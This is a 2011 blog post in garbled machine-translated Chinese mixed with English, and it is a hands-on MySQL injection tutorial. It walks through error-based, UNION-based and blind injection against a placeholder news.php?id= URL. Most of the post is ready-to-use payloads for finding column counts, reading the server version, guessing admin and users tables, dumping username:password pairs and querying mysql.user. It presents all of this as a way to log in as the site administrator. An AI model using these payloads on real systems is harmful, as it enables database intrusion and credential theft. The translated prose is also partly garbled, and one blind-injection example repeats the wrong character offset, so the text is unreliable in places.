MySQL注入讲解

在这Tutorail我将描述sql注入怎么运作和如何使用它获得一些有用的信息。


首先:什么是SQL注入?

 

它是一个与Web应用程序的最相同的弱点。它允许攻击者执行在URL的数据库询问和对一些机密信息等等能够存取(简而言之)。


1.SQL注入(基于的经典之作或错误或什么您称它)  :D

2.盲目的SQL注入(更加坚固的部分)


因此我们开始一些行动 :D


1). 检查弱点

假设我们有象这样的一些站点

http://www.site.com/news.php?id=5

现在测试,如果vulrnable我们补充说到URL的末端 '(行情) ,

并且那是 http://www.site.com/news.php?id=5'

如此,如果我们有一些错误像"您有一个错误在您的SQL语法; 检查对应于您正确的MySQL服务器版本的指南..." 或者相似的情况

那手段是vulrnable对sql注入入 :)

2). 查找列数

要查看列数我们由(告诉数据库如何提交结果) 使用声明顺序
那么如何使用它?增加数字,直到出现错误.

http://www.site.com/news.php?id=5 order by 1/* <-- no error

http://www.site.com/news.php?id=5 order by 2/* <-- no error

http://www.site.com/news.php?id=5 order by 3/* <-- no error

http://www.site.com/news.php?id=5 order by 4/* <-- error  (我们收到象这个未知的专栏 ‘4’ 消息在 ‘order条目’ 等等)

那么意味着它有3个专栏,我们在4有一个错误的起因.

3). 检查联合作用

联合我们可以选择在一个sql声明的更多数据.

如此我们有

http://www.site.com/news.php?id=5 union all select 1,2,3/*  (我们已经发现列数是3在第2部分). )

如果我们看在屏幕的有些数字,即1或2或者3联合然后运作 :)

4). 检查MySQL版本

http://www.site.com/news.php?id=5 union all select 1,2,3/*  NOTE: if /*

现在检查版本我们用@@version或版本替换2 ()并且得到某事象4.1.33日志或5.0.45或者相似。

它如下所示  http://www.site.com/news.php?id=5 union all select 1,@@version,3/*

如果您有错误“联合+非法混合核对 (IMPLICIT + COERCIBLE) ..."

我没看见任何杂志有这个问题,因此我必须写它 :)

什么情况下我们需要 convert() function

i.e.

http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*

或者 hex() and unhex()

i.e.

http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*

您将得到MySQL版本 :D

5). 获得table 和 column name

well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version.
we must guess table and column name in most cases.

共同的table names are: user/s, admin/s, member/s ...

共同的column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...

i.e would be

http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good :D)

我们知道table admin存在...

现在检查列名.


http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)

我们在屏幕得到用户名被显示,例如admin或superadmin等...

现在检查专栏密码是否存在

http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)

我们在屏幕的看的密码在Hash或plain-text,它依靠数据库怎样被设定 :)

i.e md5 hash, mysql hash, sha1...

now we must complete query to look nice :)

for that we can use concat() function (it joins strings)

i.e

http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*

(so 0x3a is hex value for colon)

(there is another way for that, char(58), ascii value for : )


http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*

now we get dislayed username:password on screen, i.e admin:admin or admin:somehash

当您有此时,您能登录象admin或某些超级用户 :D

如果不能猜测正确的桌名字,您能总是尝试mysql.user (缺省)

它有用户自己的密码专栏,例如

http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*

那全部在这部分,我们可能现在进行在更加harder的部分:)


2. Blind SQL Injection

盲目的注入是有点被复杂化经典注入,但是它可以完成:D

I必须提及,有非常好盲目的sql注入讲解由xprog,因此读它是不坏的:D
与先进的材料的Let开始。

I使用我们的例子

http://www.site.com/news.php?id=5

当我们执行此时,我们看到一些页面,图片等的一些页和文章...

然后,我们对盲目的sql注入攻击测试它

http://www.site.com/news.php?id=5 and 1=1  <--- this is always true

并且页通常装载,那是好的.

现在真正的测试

http://www.site.com/news.php?id=5 and 1=2 <--- this is false

如此,如果一些文本、图片或者某一内容是缺掉的在返回的页然后站点是vulrnable盲目的sql注入.

1) 得到MySQL版本

要得到在blind攻击的版本我们使用子链接

i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4

如果MySQL的版本是4,这应该返回TRUE.

用5替换4,并且,如果返回的询问配齐然后版本为5 .

i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5

2) subselect运作,测试

当精选然后不要运行我们使用subselect

i.e

http://www.site.com/news.php?id=5 and (select 1)=1

如果页装载通常然后subselects运行.

then we gonna see if we have access to mysql.user

i.e

http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1

如果页装载我们通常得以进入对mysql.user的我们可以以后然后拉扯load_file一些密码的usign ()起作用和OUTFILE .

3). 检查 table and column names

当猜测是最好的朋友时,这作为部分 :)

i.e.

http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1  (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very

important.)

然后,如果页通常装载,不用美满的失踪,桌用户出口。您得到错误的if (某些文章失踪),更改桌名字,直到您猜测正确一个:)

我们发现了table名字是用户,现在什么我们需要是列名。

和桌名字一样时,我们开始猜测。如我在尝试之前说共同性命名对于专栏。

i.e

http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

如果页装载我们通常知道列名是密码(如果我们得到错误然后尝试共同的名字或猜测)

here我们与专栏密码,然后子链回归合并1第一个字符(1,1)


4). 提取数据库的信息

我们如此找到Table用户专栏用户名密码我们去提取那里的字符。

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

ok 这里提取第一名用户的第一个字符Table用户的.

这里子链返回长度第一个字符和1个字符。 ascii ()转换那1个字符构成ascii它的simbol>。

如果ascii码大于80,页通常装载。(TRUE)
尝试保留,直到我们得到错误。


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

我们得到TRUE,保留增加


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

TRUE again, higher

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

FALSE!!!

如此在用户名的第一个字符是char(99)。使用ascii交换器我们知道炭灰(99)是信件‘c’。

然后我们检查第二个字符.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

注意i'm改变了, 1,1, 2,1得到第二个字符。 (它现在返回长度第二个字符, 1个字符)

 
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

TRUE, the page loads normally, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

FALSE, lower number.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

TRUE, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

FALSE!!!

我们知道第二个字符是Char(105),并且那是 'i’。我们有 'ci’ 到目前为止增加保留,直到您得到末端。 (当>0返回错误,我们知道自己的距离末端)。

这相当于Blind SQL注入的一些工具,我认为sqlmap手动地做一切最好。

Hope you have learned something from this article.

I am a student, Ilike studying.

Have FUN! (:

To be continued and updated...

posted on 2011-03-19 06:51  =_=!  阅读(276)  评论(0编辑  收藏  举报

导航